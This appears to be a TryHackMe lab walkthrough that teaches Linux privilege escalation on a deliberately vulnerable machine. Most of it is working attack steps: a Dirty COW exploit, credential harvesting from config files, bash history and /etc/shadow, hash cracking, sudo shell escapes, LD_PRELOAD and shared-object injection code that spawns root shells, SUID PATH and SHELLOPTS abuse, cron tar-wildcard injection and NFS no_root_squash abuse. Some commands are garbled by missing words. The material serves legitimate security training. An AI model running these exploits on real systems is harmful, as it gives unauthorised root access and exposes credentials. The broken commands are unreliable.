Linux PrivEsc Arena

You can either use the browser-based terminal (which appears when you deploy the machine), or you can connect to TryHackMe's network (via OpenVPN) and in directly. If you've not done this before, first complete the OpenVPN room and learn how to connect.

Answer the questions below

Read the above.

Set up your virtual environment

To successfully complete this room, you'll need to set up your virtual environment. This involves starting both your AttackBox (if you're not using your VPN) and Lab Machines, ensuring you're equipped with the necessary tools and access to tackle the challenges ahead.

Attacker machine

Status:Off

Lab machine

Status:Off

This room will teach you a variety of privilege escalation tactics, including kernel exploits, sudo attacks, SUID attacks, scheduled task attacks, and more. This lab was built utilizing Sagi Shahar's privesc workshop (https://github.com/sagishahar/lpeworkshop) and utilized as part of The Cyber Mentor's Linux Privilege Escalation Udemy course (://udemy.com/course/linux-privilege-escalation-for-beginners).

All tools needed to complete this course are in the user folder (/home/user/tools).

Let's first connect to the machine. is open on port 22. Your credentials are:

username: TCM
password: Hacker123

Answer the questions below

Deploy the machine and log into the user account via SSH (or use the browser-based terminal).

Detection

1. In command prompt type:

/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh

2. From the output, notice that the is vulnerable to “dirtycow”.

Exploitation

Linux VM

1. In command prompt type:

gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w

2. In command prompt type: ./c0w

Disclaimer: This part takes 1-2 minutes - Please allow it some time to work.

3. In command prompt type: passwd

4. In command prompt type: id

From here, either copy /tmp/passwd back to /usr/bin/passwd or reset your machine to undo changes made to the passwd binary

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Exploitation

1. In command prompt type: cat /home/user/myvpn.ovpn

2. From the output, make note of the value of the “auth-user-pass” directive.

3. In command prompt type: cat /etc/openvpn/auth.txt

4. From the output, make note of the clear-text credentials.

5. In command prompt type: cat /home/user/.irssi/config | grep -i passw

6. From the output, make note of the clear-text credentials.

Answer the questions below

What password did you find?

What user's credentials were exposed in the OpenVPN auth file?

Exploitation

1. In command prompt type: cat ~/.bash_history | grep -i passw

2. From the output, make note of the clear-text credentials.

Answer the questions below

What was TCM trying to log into?

Who was TCM trying to log in as?

Naughty naughty. What was the password discovered?

Detection

1. In command prompt type:

ls -la /etc/shadow

2. Note the file permissions

Exploitation

Linux VM

1. In command prompt type: cat /etc/passwd

2. Save the output to a file on your attacker machine

3. In command prompt type: cat /etc/shadow

4. Save the output to a file on your attacker machine

Attacker VM

1. In command prompt type: unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt

Now, you have an unshadowed file. We already know the password, but you can use your favorite hash cracking tool to crack dem hashes. For example:

hashcat -m 1800 unshadowed.txt rockyou.txt -O

Answer the questions below

What were the file permissions on the /etc/shadow file?

Detection

1. In command prompt type:

find / -name authorized_keys 2> /dev/null

2. In a command prompt type:

find / -name id_rsa 2> /dev/null

3. Note the results.

Exploitation

Linux VM

1. Copy the contents of the discovered id_rsa file to a file on your attacker VM.

Attacker VM

1. In command prompt type: chmod 400 id_rsa

2. In command prompt type: -i id_rsa root@<ip>

You should now have a root shell :)

Answer the questions below

What's the full file path of the sensitive file you discovered?

Detection

1. In command prompt type: sudo -l

2. From the output, notice the list of programs that can run via sudo.

Exploitation

Linux VM

1. In command prompt type any of the following:

a. sudo find /bin -name nano -exec /bin/sh \;

b. sudo awk 'BEGIN {system("/bin/sh")}'

c. echo ".execute('/bin/sh')" > shell.nse && sudo --script=shell.nse

d. sudo vim -c '!sh'

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: sudo -l

2. From the output, notice the list of programs that can run via sudo.

Exploitation

Linux VM

1. In command prompt type:

sudo apache2 -f /etc/shadow

2. From the output, copy the root hash.

Attacker VM

1. Open command prompt and type:

echo '[Pasted Root Hash]' > hash.txt

2. In command prompt type:

john --=/usr/share/wordlists/.lst hash.txt

3. From the output, notice the cracked credentials.

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: sudo -l

2. From the output, notice that the LD_PRELOAD environment variable is intact.

Exploitation

1. Open a text editor and type:

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

2. Save the file as x.c

3. In command prompt type:

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

4. In command prompt type:

sudo LD_PRELOAD=/tmp/x.so apache2

5. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null

2. From the output, make note of all the SUID binaries.

3. In command line type:

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

4. From the output, notice that a .so file is missing from a writable directory.

Exploitation

Linux VM

5. In command prompt type: mkdir /home/user/.config

6. In command prompt type: /home/user/.config

7. Open a text editor and type:

#include <stdio.h>

#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

8. Save the file as libcalc.c

9. In command prompt type:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

10. In command prompt type: /usr/local/bin/suid-so

11. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: dpkg -l | grep nginx

2. From the output, notice that the installed nginx version is below 1.6.2-5+deb8u3.

Exploitation

Linux VM – Terminal 1

1. For this exploit, it is required that the user be www-data. To simulate this escalate to root by typing: su root

2. The root password is password123

3. Once escalated to root, in command prompt type: su -l www-data

4. In command prompt type: /home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

5. At this stage, the system waits for logrotate to execute. In order to speed up the process, this will be simulated by connecting to the Linux VM via a different terminal.

Linux VM – Terminal 2

1. Once logged in, type: su root

2. The root password is password123

3. As root, type the following: invoke-rc.d nginx rotate >/dev/null 2>&1

4. Switch back to the previous terminal.

Linux VM – Terminal 1

1. From the output, notice that the exploit continued its execution.

2. In command prompt type: id

Answer the questions below

What CVE is being exploited in this task?

What binary is SUID enabled and assists in the attack?

Detection

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null

2. From the output, make note of all the SUID binaries.

3. In command prompt type: strings /usr/local/bin/suid-env

4. From the output, notice the functions used by the binary.

Exploitation

Linux VM

1. In command prompt type:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

2. In command prompt type: gcc /tmp/service.c -o /tmp/service

3. In command prompt type: export PATH=/tmp:$PATH

4. In command prompt type: /usr/local/bin/suid-env

5. In command prompt type: id

Answer the questions below

What is the last line of the "strings /usr/local/bin/suid-env" output?

Detection

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null

2. From the output, make note of all the SUID binaries.

3. In command prompt type: strings /usr/local/bin/suid-env2

4. From the output, notice the functions used by the binary.

Exploitation Method #1

Linux VM

1. In command prompt type:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

2. In command prompt type:

export -f /usr/sbin/service

3. In command prompt type: /usr/local/bin/suid-env2

Exploitation Method #2

Linux VM

1. In command prompt type:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

Answer the questions below

What is the last line of the "strings /usr/local/bin/suid-env2" output?

Detection

1. In command prompt type: getcap -r / 2>/dev/null

2. From the output, notice the value of the “cap_setuid” capability.

Exploitation

Linux VM

1. In command prompt type:

/usr/bin/python2.6 -c 'import ; os.setuid(0); os.system("/bin/bash")'

2. Enjoy root!

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: cat /etc/crontab

2. From the output, notice the value of the “PATH” variable.

Exploitation

Linux VM

1. In command prompt type:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh

2. In command prompt type: chmod +x /home/user/overwrite.sh

3. Wait 1 minute for the Bash script to execute.

4. In command prompt type: /tmp/bash -p

5. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: cat /etc/crontab

2. From the output, notice the script “/usr/local/bin/compress.sh”

3. In command prompt type: cat /usr/local/bin/compress.sh

4. From the output, notice the wildcard (*) used by ‘tar’.

Exploitation

Linux VM

1. In command prompt type:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh

2. touch /home/user/--checkpoint=1

3. touch /home/user/--checkpoint-action=exec=sh\ runme.sh

4. Wait 1 minute for the Bash script to execute.

5. In command prompt type: /tmp/bash -p

6. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command prompt type: cat /etc/crontab

2. From the output, notice the script “overwrite.sh”

3. In command prompt type: ls -l /usr/local/bin/overwrite.sh

4. From the output, notice the file permissions.

Exploitation

Linux VM

1. In command prompt type:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

2. Wait 1 minute for the Bash script to execute.

3. In command prompt type: /tmp/bash -p

4. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Detection

1. In command line type: cat /etc/exports

2. From the output, notice that “no_root_squash” option is defined for the “/tmp” export.

Exploitation

Attacker VM

1. Open command prompt and type: showmount -e MACHINE_IP

2. In command prompt type: mkdir /tmp/1

3. In command prompt type: mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1

In command prompt type:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c

4. In command prompt type: gcc /tmp/1/x.c -o /tmp/1/x

5. In command prompt type: chmod +s /tmp/1/x

Linux VM

1. In command prompt type: /tmp/x

2. In command prompt type: id

Answer the questions below

Click 'Completed' once you have successfully elevated the machine

Linux PrivEsc Arena

Task 1: [Optional] Connecting to the TryHackMe network

Answer the questions below

Task 2: Deploy the vulnerable machine

Answer the questions below

Task 3: Privilege Escalation - Kernel Exploits

Answer the questions below

Task 4: Privilege Escalation - Stored Passwords (Config Files)

Answer the questions below

Task 5: Privilege Escalation - Stored Passwords (History)

Answer the questions below

Task 6: Privilege Escalation - Weak File Permissions

Answer the questions below

Task 7: Privilege Escalation - SSH Keys

Answer the questions below

Task 8: Privilege Escalation - Sudo (Shell Escaping)

Answer the questions below

Task 9: Privilege Escalation - Sudo (Abusing Intended Functionality)

Answer the questions below

Task 10: Privilege Escalation - Sudo (LD_PRELOAD)

Answer the questions below

Task 11: Privilege Escalation - SUID (Shared Object Injection)

Answer the questions below

Task 12: Privilege Escalation - SUID (Symlinks)

Answer the questions below

Task 13: Privilege Escalation - SUID (Environment Variables #1)

Answer the questions below

Task 14: Privilege Escalation - SUID (Environment Variables #2)

Answer the questions below

Task 15: Privilege Escalation - Capabilities

Answer the questions below

Task 16: Privilege Escalation - Cron (Path)

Answer the questions below

Task 17: Privilege Escalation - Cron (Wildcards)

Answer the questions below

Task 18: Privilege Escalation - Cron (File Overwrite)

Answer the questions below

Task 19: Privilege Escalation - NFS Root Squashing

Answer the questions below

Linux PrivEsc Arena

Task 1[Optional] Connecting to the TryHackMe network

Task 2Deploy the vulnerable machineTask includes a deployable machine

Set up your virtual environment

Task 3Privilege Escalation - Kernel Exploits

Task 4Privilege Escalation - Stored Passwords (Config Files)

Task 5Privilege Escalation - Stored Passwords (History)

Task 6Privilege Escalation - Weak File Permissions

Task 7Privilege Escalation - SSH Keys

Task 8Privilege Escalation - Sudo (Shell Escaping)

Task 9Privilege Escalation - Sudo (Abusing Intended Functionality)

Task 10Privilege Escalation - Sudo (LD_PRELOAD)

Task 11Privilege Escalation - SUID (Shared Object Injection)

Task 12Privilege Escalation - SUID (Symlinks)

Task 13Privilege Escalation - SUID (Environment Variables #1)

Task 14Privilege Escalation - SUID (Environment Variables #2)

Task 15Privilege Escalation - Capabilities

Task 16Privilege Escalation - Cron (Path)

Task 17Privilege Escalation - Cron (Wildcards)

Task 18Privilege Escalation - Cron (File Overwrite)

Task 19Privilege Escalation - NFS Root Squashing

Ready to learn Cyber Security?